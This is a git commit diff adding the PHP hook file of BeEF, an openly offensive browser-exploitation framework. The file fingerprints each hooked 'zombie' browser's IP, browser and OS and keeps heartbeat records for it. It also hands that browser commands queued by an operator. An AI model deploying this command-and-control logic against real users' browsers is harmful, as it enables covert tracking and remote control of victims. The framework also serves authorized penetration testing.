Initial Import

git-svn-id: https://beef.googlecode.com/svn/trunk@2 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9

include/hook.inc.php

@@ -0,0 +1,65 @@
+<?
+	// Copyright (c) 2006-2009, Wade Alcorn 
+	// All Rights Reserved
+	// wade@bindshell.net - http://www.bindshell.net
+
+	require_once("../include/globals.inc.php");
+	require_once("../include/browserdetection.inc.php");
+
+	// --[ EXTRACT_OS
+	function extract_os() {
+		$user_parts = explode(";", $_SERVER['HTTP_USER_AGENT']);
+
+		$os = trim($user_parts[2]);
+		$os = str_replace(')', '', $os);
+
+		return $os;		
+	}
+
+	// ---[ GET_UA_DETAILS
+	function get_ua_details() {
+		$ip = $_SERVER['REMOTE_ADDR'];
+		$agent = $_SERVER['HTTP_USER_AGENT'];
+		$browser = browser($_SERVER['HTTP_USER_AGENT']);
+		$os = extract_os();
+		
+		// return the collected useragent details
+		return $ip . "\n" . 
+			$browser['name'] . "\n" . 
+			$browser['version'] . "\n" .
+			$os . "\n" . 
+			$agent;
+        }
+
+	// ---[ REGISTER_HEARTBEAT
+	function register_heartbeat($status, $result) {
+
+		// construct file location strings
+		$zombie_hook_dir = ZOMBIE_TMP_DIR . session_id();
+		$zombie_hook_heartbeat_file = $zombie_hook_dir . "/" . HEARTBEAT_FILENAME;
+		$zombie_hook_cmd_file = $zombie_hook_dir . "/" . CMD_FILENAME;
+		$zombie_hook_res_file = $zombie_hook_dir . "/" . RES_FILENAME;
+
+		// create a directory for this zombie if it doens't exist
+		if(!file_exists($zombie_hook_dir)) {
+			mkdir($zombie_hook_dir);
+		}
+
+		// heartbeat
+		// write the heartbeat details to file
+		file_put_contents($zombie_hook_heartbeat_file, get_ua_details());
+
+		// if there is a result write it to file
+		if($status != HEARTBEAT_NOP) {
+			file_put_contents($zombie_hook_res_file, $result);
+		}
+
+		if(!file_exists($zombie_hook_cmd_file)) { return 0; }
+
+		// get the command from $zombie_hook_cmd_file
+		$lines = file($zombie_hook_cmd_file); 
+		unlink($zombie_hook_cmd_file);
+
+		return join("\n", $lines);
+	}
+?>